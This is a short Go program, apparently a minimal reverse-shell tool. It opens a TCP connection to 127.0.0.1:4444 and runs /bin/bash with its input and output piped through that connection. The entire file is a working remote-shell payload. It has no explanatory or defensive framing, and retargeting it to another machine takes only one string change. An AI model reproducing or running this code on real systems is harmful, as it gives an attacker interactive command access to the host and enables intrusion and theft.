package main import ( "net" "os/exec" ) type ReverseAddr struct { reverAddr string } func CreateAddr() *ReverseAddr { return &ReverseAddr { reverAddr: "127.0.0.1:4444", } } func (ra ReverseAddr) CreateRever() { conn, err := net.Dial("tcp", ra.reverAddr) if err != nil { return } cmd := exec.Command("/bin/bash") cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn cmd.Run() } func main() { myaddr := CreateAddr() myaddr.CreateRever() }